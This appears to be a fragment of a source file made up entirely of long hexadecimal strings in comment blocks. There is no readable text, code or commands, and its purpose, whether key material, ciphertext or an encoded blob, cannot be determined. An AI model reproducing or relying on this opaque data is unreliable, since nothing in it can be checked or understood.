b0050b0bb3d8dba25d4b1e7ebdd2bfe39307633d7ccbaf5f5645326513d55d4dbbcf9186f781024ac191dabb2e01b2f0ae333901139432aa70bd07fdfd93015f1e383eed79d1b723835d28506b993f44c39b306e5f5c557e479167cce0f3fd8f1a5a524e1715367f1ecc559aba3a67e96c57655f4b7668f20b957b5558bce2f8a883abdb4ce846560d5a8cc3fecfceb43c4ef79436b7f6ac4b34bc7a2a4408ea2e954f1cedd301b0654dc1d61d60fc1e2cda61db994bc4cdce30e568a93af81ebc0e9722c5699b76b75d28ac0332ca46dda58a81247555353d25795428eee9e051ad3722e1bbed041c490e31372202be44d6a6fd71e16e39d11cfdfc7a42005ae3dec83963e63e81badbf5da3f67090d261fe914be547a1466926b8a83da0a735ecfd357f36d0be98084d80d076b1b4e8bb8f83d2229422cc4484ef3256d01bbff19e7e05bcefa7b7f1905d65223b88b9456c086b6e99145e07b74e11908ba90744f7b661ecbc41b90e6e659f658240c7180533e32d09846f4a02acf359b5307549ea69f3390f4b4becfe08f2b933b5df51d92e449ff385d2a3ea0f98619498595d14c417459fdad9107c8dd7765943849c65c3566f76ccf465acc297096f28bcf5bbb04e0119a0d043264d9bf2329985f8135a13c1ae2b7bb71d87c548c9acc23f93dca7ab1c4cf7e0ef6aa2a5d69c4f91b6815a3ea84ed7e2a8f83f0507f6ce39176232dcdfd74bd4828fbee3f6349ae26f3787fa01a4fc45025601a0e570780a1e50d6b042efb761062d0e01c0b469e072a6f2e7896e66da279917fa601df3418ba66b51fab8c6619a4334421df319a1ab8bd152ca03c5c2ac7be80c2a8425fccc1d51fe90e376eeffa5f72d52140a1aba1ec2f852ee33e698e563aad2d0ccc15db71a1d0a69295b8d595339086de87db768bd758e48a8a877c95303d95fec6d8b7f3c2fc237fa1274c9ad2546dddba66c621267275ace2c884c1853927ff46a623c6d7b09a129d9d0a9d53333a6831a8a14583604ae878e4135a1dfb1d90baf0b8178fed90f117dec510fdbf6fcd35764b8b591ba913974df5f063f338bf419fcd71ba7bb052477d501a671c58f6de40f7b39d169977b3c7d191f72f7cdceba7934031bafc67a47b7421a2909159489c64a93805c9fffd3e69fd91127c779d9b9adea9c7594ad80da6851d16f50fac030b26afc68a5195e00da0b417af4990c68f977445181a8cff21bfbb777f395d4a0f8cbd45d1803ec156b55e66a73a1e41ed99e4b629e555d4b1511347193eee05630e519796d08f09ba1727bf6*/
/*b8025ea68059e1f83601a5eef223aef1d2bd06d6f3ca194990738d9e10199afceb31d767e637a93ebee4c0ee992a45f2258b4fed3617c1865578261cebb04067009a351f19671a6a1af99932a966d36656df92e65520d4204fe39b3940ce6dcc326623f97b55759ef879969c0ddca5482b544898e7b6be8f5fb8f2ad7b4281cad5457b32ef3ebf7a0625116ed813e5688a128189e16db54351be1cffd30210446fccf02c5b63aa99a09e373b98950d33a2b5c77acce6778e8c5e4bb56fe824ea725c4f0e367affd1949cd2645aa0c95d79987e749813c84425f9415db95d4f31668540a30fbc07f2e04f9b25538d39debbbb8594b2525cbfedae19698a67737a40bbff47ee37932297a036a0fa93bc967ddb16ff880a0e717358e5fe2a3a185bebd26eedaf695aba7405bd951640a051d4bf268f2927c9a37a60ec8587ed490267f071e8fedfd2e876c49369f87fb4a014094f1648945c7800c316a262e967a5c93b3f1dd0ebaa12018149d0a3cd9172b4491e5284eaaffd956e6d832666f48c80074aa0ec7c273304a00839cd6a95c05845a5867b7cafe78fd40a236a0c152e3d15525afe00038260c78a06e4036e1b4ce506a6afe8dc08c503955a2fff40aac099f79ffd733c9e01ece5d3d89398c065c5c5d0b49b6396aadf30df56348144f0ce0df5366a79ec2472339b8c7b2a1f269f72877262ff7470d511f6205aeb957efa6f08fffae250abbe1a3fc7ec9eda20b2bceb85b003d88a8ce4c5c20fae08bc818e24463dc3ac2920389c13c061fd74422606809ae9a74e4a9c96e42b5d20bd1dc7936fbaf53073373dcf2ed4176ee8dbd5870d0091a999954b822cda20beb053e137f68776f1595180f1a1dd9a32777c72b0f6a9b6a18727e457aae2ae92f210d45124db78201c8e1771d28a4088b28d0d85064c9087efaf82e7f3574c6a0ad13c32f936150ce57190d0985f06011b151e24237361a02f75ed137e949a6d14fef2c9fbf5b30811738496de2be241a98de2c0b111bea27efefdafa0a0855c2f0c1a6054836841ce1cb3f90abc4f5d31eacba9b956725545298dbb86dcccbc15ffcf2eb97622c7e917afb705f6b8b425c76c8e53bbba6a5c27b48f5fd416dafc422e73f964edbb31cdd7be4f7d629dd8f3ddda998bd3d1782fe2dc753a36afc7714444a7e9bed01e4f375124bced39ace34ac2a37cecf049369ac6339e965ed2c2c972059267ba0ec6d5e44dc18633b9b2e2335d576503856ffada03da329f7993b435e8b3c0193f16adddae777b32720d829fe70520d7a2a75f2b936516c63453193801b3f6bb1aa43e23f6dbec01436c51d5a8248018cef6364d9135cc494c8c23fc1c002ddb41089cc33522d4d84ff68bd9b3a575d9a1086cd88f942e6ad092c4ed87c448d154869f03054889adc79bc7ec9f6196eab5d37c65b7c37aee2fed495841f6f397df8316c1877525c3d21928f837b9e221dc125f9a84c11a3d9922144731470c86483eff315253f5fd26493d05e7a83da6316f43fe850e435071ecb38daaa7675c444fb6d080bb61aa66f0bc210951bb6bbf7f72def93dbd41e710f7728a4146c523726927dd2840e797f6fef04210776186940fe0fcd0b39bc4a8600fa0d16c950f50976ef2f911a035994700da31eda0af175595e5e734037ede9096fd5f316a864d1cd10c1aa5bbe12547f040d8e16e5635b2071332e78ff0b91c26384b8c95d7bce848c2d74c8f245657fc95e84d2109e4efacc4e7ee3234c7903ac9e66d498108ed489550d2c136b05a6a8d15de2be4178a03d04c52d124c499f0a145d9697544b0c3e55e905bdd599b26484e6aa456e8409dfe89e6ff29111a376280b1f586c052e2d30c4cd44510029ebe836cba12fc6d14cc26be5faed56cb972701d66360900fed565bc3b4bb33879b33b88c83d8c0862bdde8cf26ecc815abbe17402c9428cbaed1f0f76201985497c71aa846f8a24f443e6057ac5dc16eaa96ca0d4075864a91b714c13b489e9f5b0b41599d86ad3ebdb0e02e2fd9ff4888f6502f380c19e1e272d6108967d43b1f17d08e1fd7c2a6b3b1fadc83899d18cb4238afc9d2738204e5e7f5d11ceeaf015b987e0fa3d08c1ed9e7cdd1d7f8f3804dfcf3852aa351a5be47b630c0b9f33e79e5b9a42fb8d52837e67d7a276ea35fa7efcf4250aa3b06d5a02384b4470e4c4caa126fcbfc36d8d2d28a02e5ba78b8895e1ea0ff3267aa754c045a320da64f72c3af67d6cf243ad50f2f0b30e724ff67176891ff298447eec65e8becca1ab4fdc44120e4879e4d06129b9215f3d77cb05b91d93ae608158b4afe826a1f58a8250ebf91d545f66ec909de4b4475fdb4c5f14936a47ef008c8452fad5021444f6635d20fe826cb3704d6a3d29d4d5732993a7fe7672357faea3b0d6a15bd0ea7e9a58f35d48a8666c5320ba69137c2b938c355f803bedc6760298cb5dea3430f4614333b1415c736b5b67cc0b1a44d6798f1aa84f3fc9dc6d0a2eb8ed128f201c1d7e7f8acf484ff775c42115136a30e9fba629d6a936cb94867d292ac8553d0a32817d53f21149f97ef78dc1a9302e059626cb6b78f9dd2b2189837b66274d96e70c44f41ada73cc592b82c45197f84530cc7902b4bbdb90edd9bb4a5f0545106663323fce4a6eccb8c897f9ba8145c29ceea155ffa16e5c24addfaf8215d537ed24ef4d407e19dad2bd93703637971e6bff8329b5c180134d9b7df7c64edd64c55d2381879c57d8e67a44f3a5f52d60ccbb932e0a97eb97e5cffd7890837554275e4b39837709c9e38ec8b5fdab86f991668f92a7c3fea62600a7*/
/*3ae24e2914319b72bdd57373eedeedb678607b880e324e7ee69238d0105c4597f07c8354507d67d21a69a46ad32962fc41f9cd76e645d345c4159bee404bc983c2f4c675e2ff232b83256e50d6664195ba308dfc0e3d42d21534c11f2e1f7e6540111547ffe799477cf64a924fa55cd1cfc127995fe661689b069e14b00b987b075a2beec48c5cdef93ac60e63d89d803460839af2d183158ca38e4dbc416e486b9555b98ca5c15a55257156ba31551e69c5f8aec0a174d2aab95cc9138772f0fb045e2161b910d46b801280785b5f146e0bb1cd6beee17bec208b27a90430c0b876434726126cd4f4fe9160399f0b42e50f0e6dbd241a9a060fb5c46b3512bb25671036617b8316bdd3d50e0e38a18573cae487d447e596c67ede26f2d64bbb24ac5c87960ef27f0ccd88e09d3eba4fd5e489445090f4c314ff5a03ca7f19f6fe50c7ec81f59ae73538ae563d5858f430113e6e67d72e1d3df4f7e1c18a99020573adeaefca958a5e2d55b8f5143b52ca8c39a219316b385a9458140ec0cd360cc6c8c918c727629b082fb774c9f05209aeff6bc42ddd8bb56f5d8c55a0cd372acd42e83c4b22988e1666e72e66820f838dcfbc2b2dfaebe9953d6354b73a09f45547b067e5a484e430f3fe6feea6cd87111e86c1cec21adeeae956104ba38652af502a9a8e28314cf8593b6159eb044886f24e6b10a7fce11825954211a29c7ee6ffa4822fae33b45eacaaf1d45dc9d31e5006d6cdaf0f6faf2feddb6d601e745b787ca8ac24987df672ed6ef4920d8094670331633c872785c7095c2bfc2bc9c5045c2c79dbbb7443c0d8952a053eac0e7ed48ad160728812a94ed2c2290b8d340a6384aaf100f549e772ab65293d12407914196ff56a9b9cb93d91d74842148b981cace70279c79bb27f761713302cd50349287c4a4b24723ca5df4ce5aab3da4d416e4495927af22c9a67b6d10317b6fcab52300fac4dbb2e30a4e53051662df4b2cbc0aadb3a4718ae05cf3e376513f178ccb1e0337bf80f56f9fa7f51b5ab98edcdcf1daf8e342a00d8df72aaa595b4e0a022c48e932eb46071af5a68915ec3aae9220a80501ba83060684af54f6c44fee9132f3f64292d08b7b660959446d66b82833f44a10d3a72b69ba256bbc2e1a2887d8e5ec4402572653d9c32b2322c56d3ae5c830c0d0f90c29fe5352cf6af15c28dda337b731a383be6827e78067adadaaf86d7bbeb2a0403205d51b47f36f30e1d38d631ea30dbc48dbf2748c2fa6490e44166bc213bf1e2d40de6fc1a6ea05ccb55532ed47a4da02bd0ae0452e07824948e4c4207a21b55a06215461160702e6db20ccc99d6f801d35c8087c6a07b7fc7c69085ce0a4e5cdfb8fad73d06b6a5f7789dcef9c9e64bba92c5ee21525a0d71b454bcd02d7415de293c18ff514b427857a5000ed653739316323c3432a7113f3330367b9cb9d220be23f29af1f79487fcdc913c67a8349ccad4aa4c1b34b9a1c2fb64c47a2ec18bdd2973b947dd39b9e526b875297911350842d403e5b3adf4c6029456dd35481f4ea5ae5878794c74d882d958c1a04d97cccc0ed45429d53f5f25cd5eaf16c11a84aa4cf9fe7b3aa732e0a04a829d86c1887fd27d93fc79baa9263f241d417c31e3c93ee0e7e9cf7dfa2f6c079eb0a4961c8a70a264716371bd1bfd21cbffff718fb85f97b2d3c2c02e7aa49ecc3ebc0bc943f346d22fdbba2c48ded0cfda520c4b406bd215febff90eb22ceaf70f340b03550aabb207aeacfbc07f31f2ef3e469f46b3b476add5356c9f666b11cc7d636d2df12dd702e1b4203c4a9ac226bdd3b1dd0a8ecc3c31edd86750dc8f0eb1116e8e732e0dadb6ecbd4fae2a0932467f416e09a4be08e71be36da8f8fa819fea66fd4d3d8d064f444d64b2e5ce806d1c1946f8a32458c22525964c661d3ba69442a2f64e192daaabab00f1006645894e4a9d63d40883710d66bd6f2be4090cf71e1b50bb907063d50d761e605a5d96cf030d02099bbaf628950adf5e3010f01a5581d21bc948b04f1fec0733806d9abdefed60a4dbc1c855a2449a269a7eeaef3570f7f9ee512dd2594d1828494232c0c3a9e16db0dd3da93b9f7dbe65f224440bf52980e5ac263dbb68b1e356f5751a4902d55b58269687238e0e39b87bd4c95165a9d42282dc35f8c9af6c4d402fbd75f91d8ea242ab78d5817fe6e091734dd3abecafd7d2bf2992b1e114d73fce10eee34defc9723b60254b23847c773fbf72c3b1b7813cefc14f0f1205be269d2fc02ca42ee84a9414e9a91da0214da606a7f9c926cd88fdbd4a59dabb93cf94f7ee7ed1cf26f8b99ca6527bac5dc6912960b908d379758c9f1de25170bf8f70195c8837674c164e79f6a100ab22d763a44665d4beec53304b2a8d7b370e5bc581f687b26119e6d44cc1a4c7d214b3fb8a4c6225dd46b2526a67079771235adbe6ed37074cbdf708583ec9f40991945e0a9e2c53de2509391851dd44e184ca387e80054defc9f1e853df529d6ee67b3430630767911e065b632018b4ec03e299aa5006c2219d023bb3fce9beaf8276e6670a8135c1ad30f7de646d0630edcf2988ad38b62035a65bfe316c7cdc82098f365fc2412a92ee5cb8a44bc1670de28aef173c0efffd3fd1332b97d1e03da8a24abe891176e25b9f32a94f5786f00d7d5ecde2226a9baabf2f25a5deb5f7f4a132bdf5588e725a4a50012857d332a021723fff4f74923c6449bd49b8507bc662e437dc437d49ba23bfed37fc3624b5bc49550a939c29914ddbc9fd98403d28cb52746f8c7deedccf3de6767273d6e7d718aff5*/
/*8f0cb9d272692aea82da6e52ab78cfbc3bce730d41fa314d3c8bfcec6193f466612fc737a63c8b6cd1598a2e484b324be3590b3a937b2a5d3a33b8544b2f46f6c619cc8b1d087c118f4deac6887a356b078c4fde4102e146a74a5bf71b374da1aff545bc7cff203ce0549e0a0221ecd3a3f57d7ac007f6db5a8a28cc64fbb38df4105fa0e566b5032223970fd9db77ba285e403f986f771a0a708ac6a93b535fe54d87a8d00ea6ddf3a670b54eb5513bd822dca78b22211b2031cc0b9d42e4f1698cd06701005934d0085e80faaa8919edc273e4c1db8383586589a1adfd00246cacbdd3d4cc7d6330060864c62d13d2c50f497e9fe99ecba2e3ba04354fce326bf4fe4981e1a787ed7511c5884a326a23cc14b9d5e36581880254a087bd9fe3876a9833c3511b9487d0b9d3c0bf31c6fa2d87c35c3057f428d9d814c903b6ef0cdf7c4099f70ae4fecfd2c2e39cf62ff2966b0fdf0250c3f0bd8b83a504909aee199d0cb1660540e339a34883eba90f32a5ecc82b92123fa34a1380b85ff376d7f7a0baea4c932fc24004e4077c014f93243e099c4bb09ece7de285349f8841b4ed2a713430a50f10c16b63a7d152f99e5e527635eb88d1aa92916b4806c805082eafeb8e3de89623524ad8b08b556efdd7fee5bd5d3dfbec405bbfd473935e046317712569c28de9a9d65c95b5de858328d56e89f4037fd820aa6e259ed30d156cb2049d7f054f9a9309bd142655deadbeefc2a7c9fa0f4a7c0ccebb0e42f6e735fe8743dd5cc5e6666cc66c157bf6d6c3a4dc95cc547c37ef27e030ac4dda962f8d5b6a0fcefc3a6b65142dfe208074a6b4a596c77eaf1a287afd913a02ac8cefa4a33393311726034ea02b243d4cdc196a13de6db61a48c3a77fefd01e3078636b7d86f345a2c5dc7fb91936e98dba77dcff3d001cd2b945810367a7af44da0e200382ec7683c4c233b0ac858a0efcc580850caaa68146d9afaff172793dc1dfab3d99a41f2fbec0feda717e2f6c26331e7005392aa99e0cb8c60337c2367d867592932be05615158156190e5cac6f43b0b258fe9741d53d10f21ffa7123f69da837d1cd6be73b925d2a01bbd548f985d408b2f23f3ab6e513cb88e27b5b0875bf52eb6a717c3932335c6c56d9e762730e000ddcfcbed94a6c3771e79f209fe06c8e735139008765a8ae8bc750ce754ad2e411c59a6464ae0244b2be02583409e83c9a8fe195d7b269aba556b9237bffb0d7fe48eb9a6003a045bb514de995dc025cac740ee27bea1c8714428adbebb7e1cc56faa718626ae3df6bd66fd4b5360b1db1742bf425604f499a50c1cdadcbb0bc836b5b3d598b1e6efba044016c8d55eecec8b52d38389af737866c2a884c8e578e7642770e8fb59afba6eb25aec34f247b9ecbb342fa8a6c877facb8e434158d49287e71ea453e19511add2603c045e40cdd6f24def1f734dc81bd8c9874827201bba5bbac16f5c42600a141118548085fa491d48142cd0b3e66ab1cd1b6e500fb149684d9680177db213305a8c52053e8da5784aa46efecaba2e54ff226456e7a16484f85dafc8854e4a1a18c75f61c2ada9208ef942717f6a0dff992aa8dd6f1f1bfc707fadf830a6064693f10e813424f6bdebc896f73af93fc437c5ae118ece27e2cb138b2baf19891d994cdc0df6711625a73b9bd4cbfda866909d69af854af2855e3dad8a7f39c1b5f13bed2e1496bec2902499bbea077963dce4d570812b1756c3a49ee298428a68263c86bad951a06cc18fecb2934b322aaf541b1344feebacf438094a2ba33ea23360c2d0336377e35ad6f0fdf5a9cd7a73109eed6dbe2ac2a8f2b36c4e8987a9838a74674b53c661b394cbaad3947d78bffbd43eca7a352e0df681f6d477e5131a32f4bf8de31c657d246780fb70f76a393e424e9a6a6da4ec9a68ebbabde5f60763269a92934b08c430d3bc364bb65b7bd695dd7ee2cc4635254c884250d10715293e52b60c955f143609ebe74dabf79c0583885c5008e425b4a0abf80a33028f1946081deaa4f48538fecbecabc71e6349c1376ab2471806f6e0143024a0be87da6d5038f6ef0640601e55fbf352c2488e142bf69af51794f1c54370af97704e4eb678e16a6b833e65429e57dbe1cff5e10d4dcefdd7c038e3ea681701542939d6fb5c24e69b113dfb248b76e5545894902643cc5edf1915ff70349f67e4af2da693ce8cb963160d4a3c737a0e89863c3c254b84ccae3b3a59b3df6b941e043202f16d76abcc0e8c795667b76c2341bda80e143bcc67bcf9811e3d8573bf3986291c9cd15739ddde4d8200c5b1fc1774754644b63bd51d5ea3c891cfec28bf5d0b53ec06407102d4ebc3f807c22bdbe991c54675f22fc813840c54be26adf0680ad231b0ae5e8c584f9697a9a633a62bfd57b2f26cb58550c51bc4b969474ecc40635d6ff4c0842be403dd29551b8486b9b2963e8b4bd43ec56e33835b3e5d454ba660846433224902056098e9e2c5b5a1f93795f8489eed636c82603a7d7d704271b1fe39f5f7ddfc63055bfdd74adf1e3f51e6c228169694c8eb01f46c706907d69edb166d6ae2fa1591f64ad5ab747131a65acc7c529c668dab83a7246eed74130c00fa060c1a6102da05b8969583e43c9c517007bfd0d84914a4b556311aa0fc8a910627d78211202dc1329f5eaa938ea0fe91656d54d7805e80ae14891061fe6433bfa3548cea7805ea19d69ba3cdb120ac54400b3e3d54d11802b0c4a65f0d56a5ee838b9e59e026086c0d4303c9f22f838ee3032218c8bef49c1945d5b2183b72e70542129e517f2e856938d*/
/*703988a73027dc334f7a62e5c06aaf2c190466357068a98df939fe00a58c3b2867687eab42178a99b8b62a06a1cce256af09f7558d343ee72909697aff50cb38ae6341c52eed7dd9a10f92ca1e20040b1231a8f3dbebb46049d2e804535ac8877eb12de6acc6b8d95dd579f3e424a0b76856f795c10163ff77ec231fc608d0e9ecf939af71b74aa9eb443cefbe94259989799602a246f18cd998e317d5c49999159a0bbd44c85d6018d1ba85b4b42b73b5c755d50bf29d945cbc0203d8dd499940ddda5d27721afd3f5f1b3542f9aa667ebb22cdc474370c32e63c95654475e9ffbb390fea75adfcaa1e9f6cd5847338d51b8cc33ca4f641377a0af0a91d7b8c47b4eb3b9e087cca7e7b189b7b48b4a5edc5450bdfe303d64fac4c55b4a4207afff5eaa7e28d0c2617f9edb012a36227940bcd809992aa6787dfd87ac515d35dddbf2031d5db79e99d02b4f97f057dfde8946ddf85160ea05c6ef0e4e7dc98889700da6e0c560b098096411c1b378ab20bd484c57764fda1bee162d2d36b5c6f5693452fc1be3b67df8caabbd7520a3002497de7f5ee140d5bba33cd625921817afa038346463229011590984d8840c3d6f4b2880ed8b1562bdefe4d659d539b73d985af135c481e61960559b507f38340a8e6d1dcfdfde62c2025f53ce7e39b32a90c6aa30928b0bb0972125aa4bedf02c5769d9eb65b88aefef4302a04918220964cfab81bda1e1fa6c60e41c804779fa156790fe6bcf6a4ad504b3c856eeb7222d74301e3233217cf33b986d1525c50a2448469da8cc9fb90df2fef01d78cdec031a464839fc1dd15092826b4992e5c21dc76d765e46561d56636dc7221f8a2c407ab9988c1b384e9f564ddd0e57fd327f49533f3b749a8c977ed704a51ee9121074be23ba6b61237e0aff92843654abe1a99e585f2d7e8314143b524ec373520d03a6bab152456548858726ae95a0c9266b240b2bc26d5d5f5827b68af59f6fde7ddc6f0a77916ac0787f21afa24d4c37f1a6ffc1c694d3c9e565802eebc9815e60ba1ccb3263f99eaf8f9394daf2a7f87f86d32e5ee2d2892a3e929cc1c21a28ec186c7f1af8ba17184618aa1195729d3d1e7e3bb0e1c51bbe95ea2e60faef2a4b233399307e0e6e98c7594e882c57a14786551e5ed42352a883dd29dfa5eb3cd45511fa31904c131e03b0931e7bee53e5bbe2a5ff9d265009f0dd4c4d9bae238b3cdbb0fc52969372e8dc0fde24f596760ef508bb6b30303c60b5052870dd340871fd57b9ce0c314ba42dd40f2b303592bf7dcd688d3c21f12ce3e06f8d843098b3ebe704c78693e3b479bdc4070f821a65896e357ef7bd0a629794926dc7c0596f91c7e8eb4bd7d2f6ae7ac8b27f2a18864d1ee55dfdf07bb7c7a53abdf1c667f2e83ec98c1dd5df5e176994d3888d3c9fbfb60ab8966b4af5e19ff5d3a57cc8af352921a78b21e11f9d0778d28e2d1d1d8a13dbab79e00d568cd6a22409725745c2f1b161bf2ec7db099ec8397daafae82d8e9987481226fb4c443d3c3cf4c593433027366b657d3bf2d5783594c05ed7e8d1def1db9c6523c0dafad2634e35ae8b3b0a6abd977db52b8387e8736280b45c524a0eb3c1915fd18b3f2127fc28d17fff6b232ef6056f06c04bea45caa28eb3558bed9ffc1c07c1ad5a3e56813cddedab5a579054789e44c78d52cb7179bea9b293857ae1a8cf1342feadbc3e108df927f5f802fe9ec4fe47fcea26452d0ec764f0ea8c92aa31dde6cef2335e01f2025a1ea09592fc22e2fece4924374a034f7bcb94f8e9c45ef9973ede34ea20c8c544ff952cde03b94e82d1d9f23907f6ac4f99b03934af59dd1e58a33de717322b7bbd257dfb786cd20e19351bd9c697fada0f2dfdc9e9be812b31f53e2d10e81bae2a614f8488c07a27f8d68c58cc628890d617a1fa085f09d7ec757c686381b7cc95289520b50aaa7e6514d028e083603997f557f8d514a5e74a552232f54da6f7b9f62d75caa2a854f04ed23a040afa7ca33a9861e38baaaf39f4726c2689705fd7c4b86f9c349a7506256a090ce7bbe068e2b44eee716180ca2d294556e1013a9f45e57ce06c2b45dd931b28ab41280708fdd2bdb596f3298e78a82d76f3eeb022b5f4370928bc2c3b85867aafe26bd539414675fc2efda829f580fcaa68435fa817c2d9907c8e5882799ece0e27f42fc4976f54c7e63f1bdcd77cf43957cfb20df30442d8fe0fb3e342eb4db3f7823ce430fc0c895bc7ea14f8398ebb22125116f8f0dc300206dde18d0a3a0db3db4b86c87063d16bc52d7f7e5700e42177a52ed5d977167e1b1bc70756c0fee24ae29c6ac91b9db31ea7677e147a86226edd9b224d23e7f6f32bb29cf9a8c6c46472f87fdfa751778883cfef64123becebb083bb6a353c167af491ce60eb2c52ea6e0aa165159f9d31c5e76602128bcaac6f0a25e620703dd7732ff309de33f06b9e9651cbdcde67a525a93ff6d68a1222eb9ccfdb55f95759f20e1f4534dd1b4b013556d35867f7b7f3c6149b85e88dc27b304e391783ae422f3ed239c38b003d21a5da11dcd90b78705b2f5bde19dbdaecbb85ea0f42ef54ca93907ff2dc265887d45d8c69d4801143ee002d984c067e46c61551c49ba9a43e57c2d61096de99f481953ba0859b12bccc7617c7c327753577cde10b4eeff176f1d2192e93c40f614b378a5cfa1c915db68a2424844e6fb3d4856d28d0c99d91b3203106c79733caae8c7185bb4da040d321c249a2ad2fd0aba1aa41aa5f737726c9bd82da9ffbde5425c14e14d145e494b28421d772b4cc35d0aa4b6cede6dba42*/
/*d26537bca2640ec13c42e123b68effe41daa65ffaad1562f230558f5a3522de259ce45a53a780e054bf5c67743d8db820316b1305f917bddfeaed2d712eede3ba51b12f438c68f5bc5486dee42702a0668c98df8af303c2a0a26c67b0066e317c2735c36e78b7d4f6af7d8a05093195e014586a847b91383b26730e7d099f3154cbc41ccb57fb02da8c5dfd6f3c99609cd6c5b03fafa76919b17c94301e5b9f8f887eecc03dc439133a9d393e3013b0b2ea162a0e52173890df70f5546979d32f9ad086e95bd1c54307951e4e96866ca915a748fd40fcb4f6b3c47244818bd107fb3acdc1c9aa25eb36b731b79097ee95f643416477fff387b9f992cf4d3a3ac204327091bbe0cdc89ff595c7feb94807d3544510c7bb22b139f7e3bf686dcb0bddb857f4fc7c25943cefd1ec0baf06c95bb687c6b04bbc68d372ce37cb98e29ef2f77a603df4d8ade5176766a8b3c590a6f83a502323d28ccdd709d1fdebf51f7dc24e23528aefddc2be700e02d5a58fc111e855c1bf24f2f90f6ce11d4607499aa58396744b926e134b502e299828cb3a0b52b85c2f21fa03283ede1b57ab29d66597846bda9b2b63ce9ad4e0d925461150350e6ea5ec9f6cb7c932954910defeb3245c9f7bd050358df252819429843461075e4190ca1d6863b4508d3c066fa6d86168f88487c17d8626a4265b4344a7c1c05c379d2dc2e5810b8e13513fc79eb42ac8b3f0ef39bb5988b10f18f4969b4c1560aa9afcce4eed027453094e165dbcafe87ad283e6bb4e87de899c1401249e647192a96f3d0215e3bb40635ed40517c07e13d7ffa58c6266994ae8f6d50686865f150342ed2f4707e819edfb5f244260402feda6567dddd93b323624dd617fc409dee81ff5d2159531dfe14dfba91cdf62d6e9f988c42106bc626f3dd590f40bc76cc1cfbba6c57fe1214e6e40111ad216452a3c494a9bd8209c95acbf0cbb17f490402d9683b011f6ea36f0a28a7b46b1cd48b82c8a7a8fdad50c88e12638be5316d0a8faf541a5be59da8386109e87768a4859635e9e9311f7abea648cf09f08643b164f37d80ed8f89340a91872bbb3e4a8496184dd1bd1285bff2630e8e818cca2aaf51eaf4a2ab4e0d6eda80f75a26cd093dc174c820b965a2ddcb15d47b12d68fe4bf65af9eedbf0fd2fb7eee7d7c2db42ec4f2fe91a772fbf1cd083ed15070c950a1b91c495061be0574befeef251b1ce33047658be2d193edbbc1c3eefc33928874d80c8524acdd960ef7cf0e1e96e446dfbaab18cb9cf29ae8cd368a3b6b0f1f92c9e307b7eab51e516f3afec6c19e957f21fb6e6fe48bfb113e8183efc38c6d07f9b2a2d8c4596e5a03121f259c33d428dadd8afe998b52f1ebfcf289091278426dfd239e3cd3891d317c8dfe803c0600ee88f399d0d7f9f88c8d197148dbd165a824eb444f450a975f2ff52a92498ce2675da6a6ede6f14d0ee58dd7c8bc46e3ba5234629ef3229942889ce325562cdbdcb0ad131abd2f41c7f07122e33a07f477493e1172a31788627f714bb7fa1b105863811a2ffc5701a54ebf600a7e1a932c5d7557d6601d695b0ab4c124dfea333f2386a9deb76009fcdb8946ef7bb765b986f46e9fc02a33279f7396537e4d199e664c031f7353c79544d80e352473c7e5c3595282af3aca6bd364ab8c0875f11dcb169bae1d9df7acc81179c252301d193ac4672783bfb131c1f6f40c7444ae2d35fcde38c674e3016b8087a0e540f28e13d4a94e1c5766143ccf3fab54e8e5df01b502a7e1e97b4f2c89c53e5230bf36ddd32c2127994004b61933a654147a1e12fd4706c776c2c078989a25ad85ee3771e7327243adafcdd72b6bfcd30c50a793e0e714a92c861d50bccfb1f9849e84bdd9b85173171b12e9549dc83d7519356f79de27b265458a4506d39ae68afdb6b2813ca202a406d1a5e5b5a8226f11850ee9c0a33b61e81944057e37ade3def7fd11db6dd58db238f6d31ec714459e16d9c341f178a38abf171af4fe52e9382591fa80670121c358a08046043c2de13885bebdb499172a525d761c68316610d6178e6dd87f0283f1ecaedacb94e8ae4c1f3fd691ff95adcbfcf75e2f05455b0c1bdb12e79a254e16e3bab75a35c1f8570948b0326176da4da11fedb7598369db53bdd7103ae9c1602157b0f2a6950c74abfadaa350c9930385e1a537e93a1fda3c2a1c655a384ecfbee6a3b3c604948ebf734690f884750cf7267717e824f14e67c93cc6dfd135d0316d35764ff0e24c851e2b3021c4b7c0095359698bb25f35273834bc8aea3c7ca2d50e1222f251ea40a09d5c16522f2adf52409873d8fed8cd2139bbb957aeeb0339cc3a7264a69218a4cab0da9f965950c9aae6c25fad4ac9b54163c9f89083575566550437bad02060e14ead23467fe737fe7d844d8304ac8bda78141ccfc5fe9bf72fd39f29fa41f79f5f19016551ac3e6b3b63dd06f4e9aa0876d25063fe4ccd7ab31c3dee66b3a5e37c9966c9854ebea3d2d3c536803e4beeefffdc5ed72715d8198dcfa05a6adb9e9f4a08633e8fc0d9d2062d8d19bdd08add8ce8038459067acecd01e17bd55eb6f1a495a633afb6c1463f6d3c6807836e39480ffdf49ba655f32c2582afdf293e6c16d8623f0cfc261cd9f4eb843ba660757e9b5e1feea2f454d26b09dfc100d1c75cb440a07c35c5a3ac52e18569136bef15e032df19dbfc0c05525859b051f57ab25e12b60b825f40f040d013f85536913ed2e0a8a31c3bd1cdf01d86dc3d08f5496a26bee378ac35a08784121cd135216b7bea922a8ebac7aed0d8350a2e15e250d0*/
/*dbb53f5fedddc5c5be20b2f69e9ca81fe7f76b57ef7f9243e6c367601613e76bb05c2ecd204da5973faa9cfb7f54f490426c01ddc492f7dbd47c5990bf9049bcf41d2da96393f754855e3eae47157c39fec89815228f26f269fc90d8f432a21c0bcb48bc843a561523ace9d4737758ba17822ac6bd53cdfca69f1431c8aba8d2deba19e9ec60133905c090510f58735ca721c40587c8d4acbe2df9ab4ee42c92852d838c4c4a5cf0afee4b31f3ecf0c01a4c28f2b3513dd6fd8dd11f10c8c3af01de4175f5143c65907a10dedecea3a55ff3e2a8c9038abb36e6afeaee3b8420b1e04141f5563c9d1a70924968f49278963cb12902335647945aa492be4a035fb78931ee52ea06a4afbaee51eede82542c74624d6352a508729ed6167b09a27e8fc4b43d5ca49f2b99458600aec60610038a9186e690801783725d43236ee78c062098eb5e4060ed1f04aa73d490673cff55e574b98b22ed1471e54e5b8c118a13bb3f5f128352a70ef11dcf80f9a3e5c261482b36e9a2393db915c52cf81bd1dc830d85162d9552632619013eeebf728a081734dcfa7c0e1d500cc7050950a92239cc696a98c8818ad09ac9ca27a6bfe2365c3b9d80786b9db56d094aef211d71af438ae4fab297996e35364949cc6258c829a5b4b2c49c18613f99e129468cc62aadfa4263d72f4e255d3dfec73d67fc1decd7389836f691bef5c1b04ee7b55c513ddb5ce3f471e1d8b70710bce9eb92a9ff5b821566d9a19021f83c67c114939f19c7283dea92b0995cbe92704d68a52ab32068c